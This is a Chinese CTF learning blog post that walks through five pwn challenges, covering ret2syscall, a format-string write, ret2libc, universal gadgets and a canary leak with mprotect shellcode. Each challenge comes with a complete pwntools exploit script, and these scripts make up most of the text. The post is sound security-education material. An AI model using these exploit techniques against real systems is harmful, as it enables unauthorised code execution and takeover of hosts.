pwn学习总结(六) —— 经典题目整理二

pwn学习总结(六) —— 经典题目整理二

ret2syscall

平台:ctf wiki
题目:ret2syscall

查看程序防护
checksec
查看反汇编
反汇编
计算 input 到 ebp 的偏移量
cyclic
gdb
cyclic
syscall条件

eax = 0xb
ebx 指向 /bin/sh 的地址
ECX = 0
EDX = 0

exp

#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'

elf   = ELF('./rop')
r = process('./rop')

pop_eax_ret         = 0x80bb196
pop_edx_ecx_ebx_ret = 0x806eb90

bin_sh = elf.search('/bin/sh\x00').next()
int_0x80 = 0x8049421

payload  = 'a'*0x6c + 'b'*4
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh)
payload += p32(int_0x80)

r.sendline(payload)
r.interactive()

getshell
在这里插入图片描述

格式化字符串漏洞

平台:NCTF2019
题目:pwn me 100 year!(II)

查看程序防护
checksec
定位漏洞点
main
sub_C54
sub_BD6
已知信息

  1. 存在两处格式化字符串漏洞
  2. 第一个printf可以用来leak buf的地址,前十六个字节会被src覆盖,所以需要先填充16个字节
  3. srcdword_200E0的偏移为0x60个字节,如有需要可以在IDA中进行查看
  4. 第二个printf可以用来对buf进行写入

payload

#-*- coding: utf-8 -*-
from pwn import *
#context.log_level='debug'

#r = remote('139.129.76.65',50005)
r = process('./pwn_me_2')

#填充src,并获取src的地址
payload1 = 'a'*16 + '%llx'
r.sendline(payload1)
r.recvuntil('preparing......\n')
# src 与 dword_2020E0 的偏移为 0x60
dword_2020E0_addr  = int(r.recv(12), 16) + 0x60

'''
备注:
  1. 写入的值 = 输出的字节数
  2. '%??c'表示输出??个空格
  3. '??$'表示栈中第??个成员
  4. '$hn'表示写入的宽度为2个字节
  5. 一次性写入4字节宽度的话需要一次性输出0x66666666个字符,数量太多,会导致printf函数崩溃
'''
r.recvuntil('what do you want?\n')
#向dword_2020E0_addr写入0x6666
payload2  = "%" + str(0x6666)           + "c%10$hn"	#13 byte
#向dword_2020E0_addr+2写入0x6666
payload2 += "%" + str(0x16666 - 0x6666) + "c%11$hn"	#13 byte
#前面一共写入了26个字符,为了栈对齐,补6个'a',到32个字符
payload2 += 'aaaaaa'
#dword_2020E0_addr  的地址在栈中的第10个成员
payload2 += p64(dword_2020E0_addr)
#dword_2020E0_addr+2的地址在栈中的第10个成员
payload2 += p64(dword_2020E0_addr+2)

r.sendline(payload2)
r.interactive()

getshell
exp
exp

LibcSearcher

平台:wiki
题目:ret2libc3

查看程序防护
在这里插入图片描述
查看反汇编
在这里插入图片描述
解题思路

  1. 通过puts函数leak已调用过的函数的got地址
  2. 通过leak出的地址的后12位偏移查找libc版本(即使开启ASLR,后三个字节不变)
  3. 确定libc版本后,可以通过LibcSearcher计算libc中的其它函数的地址,也可以手动计算
  4. 调用libc中的函数执行系统命令,从而getshell

exp

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'

elf = ELF('./ret2libc3')
#libc_so  = ELF('./') 

sh = process('./ret2libc3')
#sh = remote('', )

main_addr = 0x80484d0
puts_plt  = elf.symbols['puts']
puts_got  = elf.got['puts']

sh.recvuntil('Can you find it !?')

payload  = 'a'*0x6c + 'b'*4
payload += p32(puts_plt) + p32(main_addr) + p32(puts_got)

#pwnlib.gdb.attach(proc.pidof(sh)[0]) 
sh.sendline(payload)
puts_addr = u32(sh.recv(4))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')

#########################################################

system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

sh.recvuntil('Can you find it !?')

payload  = 'a'*0x6c + 'b'*4
payload += p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)

sh.sendline(payload)
sh.interactive()

getshell
在这里插入图片描述

万能gadgets

平台:一步一步学 ROP 之 linux_x64 篇
题目:level5

查看程序防护
checksec
查看反汇编
在这里插入图片描述
已知信息

  1. 存在栈溢出漏洞
  2. 文件中不存在system函数与’/bin/sh’字符串
  3. 存在__libc_csu_init,即存在万能gadgets
    万能gadgets

解题思路

  1. 利用万能gadgets读取write函数在内存中的地址
  2. 通过write地址的后12位偏移和LibcSearcher模块获得libc版本
  3. write地址减去write在libc中的偏移得到libc在内存中的基地址
  4. 使用LibcSearcher模块dump出execve的基地址
  5. 利用万能gadgets向bss段中写入execve的地址和’/bin/sh’字符串
  6. 利用万能gadgets调用execve(’/bin/sh’)

exp

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

elf = ELF('./level5')
#libc_so  = ELF('./') 

sh = process('./level5')
#sh = remote('', )

#pop_rbx_rbp_r12_r13_r14_r15_ret
csu_pop = 0x40061A
#call [r12 + rbx*8]
csu_end = 0x400600

main_addr = elf.symbols['main']
write_got = elf.got['write']

#万能gadgets
def csu(rbx, rbp, r12, r13, r14, r15, ret_addr):
	payload  = 'a'*0x80 + 'b'*8
	payload += p64(csu_pop) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
	payload += p64(csu_end)
	payload += 'a'*0x38
	payload += p64(ret_addr)
	sh.sendline(payload)
	sleep(0.2)

sh.recvuntil('Hello, World\n')
#获得write函数地址
csu(0, 1 , write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))

#通过后12位偏移查询libc版本
libc = LibcSearcher('write', write_addr)
#libc基地址 = write地址 - write偏移
libc_base = write_addr - libc.dump('write')

#######################################################

read_got    = elf.got['read']
execve_addr = libc_base + libc.dump('execve')
bss_addr    = elf.bss()

sh.recvuntil('Hello, World\n')
#向bss段写入execve地址与'/bin/sh'字符串
csu(0, 1, read_got, 16, bss_addr, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

#######################################################

sh.recvuntil('Hello, World\n')
#调用execve('/bin/sh\x00')
csu(0, 1, bss_addr, 0, 0, bss_addr+8, main_addr)

sh.interactive()

getshell
getshell

canary泄露 + rop + 沙盒

平台:NCTF2019
题目:warmup

查看程序防护
checksec
查看反汇编
main
sub_400a06
sub_400ab6
已知条件

  1. 开启了溢出检测
  2. 开启了沙盒模式,只能调用libc中的open | read | write等读写函数
  3. 可以通过leak canary绕过溢出检测

EXP

#-*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"

elf  = ELF('./warm_up')
libc = ELF('./libc-2.23.so')

r = remote('139.129.76.65', 50007)

r.recvuntil('warm up!!!\n')
#距离canary24个字节,换行符0x0a会占据canary最后一个字节,使得canary发生泄露
r.sendline('a'*24)
r.recv(25)  #丢弃前25个字节,包括用于泄露canary的'\x0a'
canary = '\x00' + r.recv(7)
print(hex(u64(canary)))

pop_rdi_ret     = 0x400bc3
pop_rsi_r15_ret = 0x400bc1
start_addr      = 0x400910
bss_addr        = elf.bss()
puts_plt        = elf.symbols['puts']
libc_start_main_got = elf.got['__libc_start_main']

#leak libc
payload  = 'a'*24 + canary + 'b'*8
payload += p64(pop_rdi_ret)
payload += p64(libc_start_main_got)
payload += p64(puts_plt)
payload += p64(start_addr)

r.recvuntil(' ?')
r.sendline(payload)

libc_start_main = u64(r.recv(6).ljust(8,'\x00'))
#print('libc_start_main = ' + str(hex(libc_start_main)))
libc_base = libc_start_main - libc.symbols['__libc_start_main']

gets        = libc_base + libc.symbols['gets']
mprotect    = libc_base + libc.symbols['mprotect']
pop_rdx_ret = libc_base + libc.search(asm("pop rdx\nret")).next()

r.recvuntil('warm up!!!\n')
r.sendline('a')

payload  = 'a'*0x18 + canary + 'b'*8
#向bss + 0x500位置写入shellcode
payload += p64(pop_rdi_ret) + p64(bss_addr + 0x500) + p64(gets)
#构造mprotect,更改内存保护属性
payload += p64(pop_rdx_ret)     + p64(7)                   #设置保护属性
payload += p64(pop_rsi_r15_ret) + p64(0x1500) + p64(0)     #设置大小
payload += p64(pop_rdi_ret)     + p64((bss_addr>>12)<<12)  #设置起始地址
payload += p64(mprotect)   #调用mprotect
#修改内存保护属性后,令RIP指向下方构造的shellcode
payload += p64(bss_addr + 0x500)

r.recvuntil(' ?')
r.sendline(payload)

payload  = shellcraft.open("flag")
#将远程flag文件内容写入缓冲区,open成功时返回值为3
#                          fd  address          size
payload += shellcraft.read( 3, bss_addr+0x100, 0x30)
payload += shellcraft.write(1, bss_addr+0x100, 0x30)

r.sendline(asm(payload))
r.interactive()

由于服务器在写完wp后连不上了,这里放一张本地执行成功的截图,环境:ubuntu16.04
flag

发布了45 篇原创文章 · 获赞 2 · 访问量 1832

猜你喜欢

转载自blog.csdn.net/qq_41988448/article/details/103232122